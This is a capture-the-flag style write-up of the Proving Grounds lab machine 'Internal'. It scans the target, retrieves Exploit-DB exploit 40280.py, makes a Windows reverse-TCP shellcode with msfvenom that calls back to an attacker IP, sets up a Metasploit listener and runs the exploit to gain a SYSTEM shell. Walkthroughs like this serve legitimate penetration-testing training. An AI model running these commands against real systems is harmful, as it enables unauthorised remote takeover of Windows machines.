> For the complete documentation index, see [llms.txt](https://psdon.gitbook.io/hackworld/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://psdon.gitbook.io/hackworld/writeup/proving-grounds-practice/internal.md).

# Internal

## nmap

```
mkdir nmap
sudo rustscan -a 192.168.201.40 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan --scripts vuln
```

Looks like there's a CVE detected by nmap

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkONJx_y2o92KZ5j43U%2F-MkONxhge2HRXA1YZV1-%2Fimage.png?alt=media&amp;token=0c0bb9c9-030c-444b-b305-e715ade57821" alt=""></div>

## Exploitation

Let's find the source code of the exploit of this CVE.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkONJx_y2o92KZ5j43U%2F-MkOOIrRjjFgxujRJGe-%2Fimage.png?alt=media&amp;token=9985997c-db47-41e2-8146-c7038218e28b" alt=""></div>

Mirror the exploit to your local machine

```
searchsploit -m windows/remote/40280.py   
```

Create shellcode with `msfvenom` as per exploit instruction.

```
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.49.201 LPORT=4444  EXITFUNC=thread  -f python -v shell
```

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkONJx_y2o92KZ5j43U%2F-MkOPCrmREwkkGKjTq01%2Fimage.png?alt=media&amp;token=bed96d32-f995-4de6-b5e8-56c8fc2a2585" alt=""></div>

Copy the shellcode and replace it on the source code

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkONJx_y2o92KZ5j43U%2F-MkOPIb7U4hhKfzhOiqW%2Fimage.png?alt=media&amp;token=c7af48d6-105f-4e97-9afa-d346896c1fc4" alt=""></div>

Open `msfconsole` and execute the following

```
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set lhost tun0
set exitfunc thread
run
```

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkONJx_y2o92KZ5j43U%2F-MkOQ0uePXQNbjzykaWR%2Fimage.png?alt=media&amp;token=40fa21a8-5cd9-47f0-a123-39bff11eeea9" alt=""></div>

Run the exploit

```
python 40280.py 192.168.201.40 
```

And you should receive your `nt authority\system` shell.

![](https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkONJx_y2o92KZ5j43U%2F-MkOQRRZpO-lTiCnHwae%2Fimage.png?alt=media\&token=ccf62f81-8404-41e5-9298-481108f0834b)
